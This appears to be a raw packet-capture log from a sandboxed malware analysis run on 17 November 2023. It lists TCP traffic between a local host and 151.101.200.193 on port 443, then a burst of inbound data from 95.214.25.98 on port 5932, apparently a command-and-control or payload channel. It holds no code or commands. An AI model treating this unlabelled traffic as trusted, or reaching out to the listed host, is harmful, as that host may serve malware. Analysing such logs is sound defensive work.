Nov 17, 2023 06:22:24.900618076 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:24.900635958 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:24.900636911 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:24.900645018 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:24.900666952 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:24.900682926 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:24.900695086 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:24.900702953 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:24.900707960 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:24.900722980 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:24.900737047 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:24.900753021 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:24.900755882 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:24.900764942 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:24.900789022 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:24.900794029 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:24.900810003 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:24.900815010 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:24.900845051 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:24.900866985 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:24.900904894 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:25.516556025 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:25.521579027 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:25.641146898 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:25.641164064 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:25.641180992 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:25.641187906 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:23:04.637044907 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:04.966011047 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:04.966144085 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:04.966449022 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:05.295351982 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:05.300195932 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:05.300218105 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:05.300288916 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:05.318367004 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:05.653402090 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:05.661191940 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.009532928 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.009552002 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.009558916 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.009567022 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.009947062 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.010509968 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.010596991 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.010610104 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.010657072 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.021192074 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.021292925 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.032681942 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.044245005 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.044459105 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.055733919 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.067276955 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.067359924 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.078866005 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.121015072 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.339351892 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.345081091 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.345175028 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.356626987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.368217945 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.368283987 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.379683018 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.391313076 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.391499043 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.402746916 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.414475918 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.414776087 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.425821066 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.437110901 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.437499046 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.448369980 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.459677935 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.459872961 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.470980883 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.482331038 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.482485056 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.493561029 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.504828930 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.504913092 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.516205072 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.527410030 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.527493000 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.538817883 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.550061941 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.550139904 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.561359882 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.572540998 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.572685957 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.583892107 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.595252991 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.595360041 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.607140064 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.617798090 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.617868900 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.674218893 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.679533958 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.679614067 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.690258980 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.700886965 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.700972080 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.711556911 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.722228050 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.722306013 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.732958078 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.743602037 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.743668079 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.754337072 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.764974117 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.765062094 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.775630951 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.786333084 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.786389112 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.796961069 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.807638884 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.807713032 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.818336964 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.828922987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.828995943 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.839539051 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.849524021 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.849581003 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.859688997 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.868942022 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.869059086 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.878267050 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.886970043 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.887037039 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.895813942 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.904505014 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.904716015 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.912736893 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.912751913 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.912812948 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.929210901 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.929223061 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.929480076 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.945734024 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.945745945 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.946047068 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.961400986 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.961415052 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.961613894 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.976619959 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.976632118 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.976691961 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:06.991672039 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.991700888 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:06.991889000 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.006067038 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.006097078 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.006252050 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.020931959 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.020992041 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.021064997 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.035082102 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.035101891 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.035253048 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.049645901 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.049700022 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.049884081 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.058619976 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.058638096 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.058692932 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.067508936 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.067533016 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.067619085 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.076380968 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.076421022 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.076493979 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.085264921 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.085283995 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.089314938 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.094088078 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.094105005 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.094172955 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.102956057 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.102996111 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.103051901 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.111721992 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.111738920 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.111793041 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.120542049 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.120575905 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.120629072 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.129342079 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.129364967 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.129417896 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.138072014 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.138098001 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.138163090 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.146778107 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.146836996 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.146903038 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.155477047 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.155503988 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.155561924 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.164103031 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.164129019 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.164174080 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.172861099 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.172887087 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.172935963 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.181401968 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.181430101 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.181493044 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.190031052 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.190056086 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.190124035 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.198646069 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.198704958 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.198760986 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.207238913 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.207264900 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.207328081 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.215771914 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.215827942 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.215882063 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.224227905 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.224251986 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.224322081 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.232848883 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.232872963 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.232948065 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.241132021 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.241192102 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.241393089 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.250797033 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.250823975 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.250906944 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.259308100 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.259332895 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.259505987 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.267798901 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.267826080 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.267884970 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.275505066 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.275530100 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.275592089 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.282660007 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.282681942 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.282743931 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.289959908 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.289994955 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.290054083 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.297820091 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.297852039 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.297907114 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.308377028 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.308401108 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.308578968 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.313327074 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.313352108 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.313399076 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.320610046 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.320630074 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.320672989 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.331119061 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.331146002 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.331232071 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.338212967 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.338242054 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.338300943 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.343049049 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.343101978 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.343250990 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.353327990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.353348017 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.353631973 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.357402086 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.357422113 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.357508898 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.364550114 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.364571095 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.364624977 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.373744011 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.373763084 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.373812914 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.381695986 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.381715059 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.381784916 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.388854027 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.388871908 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.388926983 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.395510912 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.395529985 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.395575047 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.401916027 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.401933908 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.401983976 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.407990932 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.408010006 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.408112049 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.414052010 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.414072037 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.414141893 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.418720961 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.418740988 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.418795109 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.422563076 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.422580957 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.422640085 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.428169966 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.428188086 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.428263903 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.433809996 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.433855057 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.433916092 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.439389944 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.439409018 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.439466953 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.444740057 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.444757938 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.444828033 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.450010061 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.450027943 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.450073957 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.455260992 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.455301046 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.455352068 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.460401058 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.460421085 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.460470915 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.465389967 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.465429068 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.465473890 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.470319986 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.470339060 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.470387936 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.475321054 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.475339890 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.475392103 CET	49714	5932	192.168.2.5	95.214.25.98
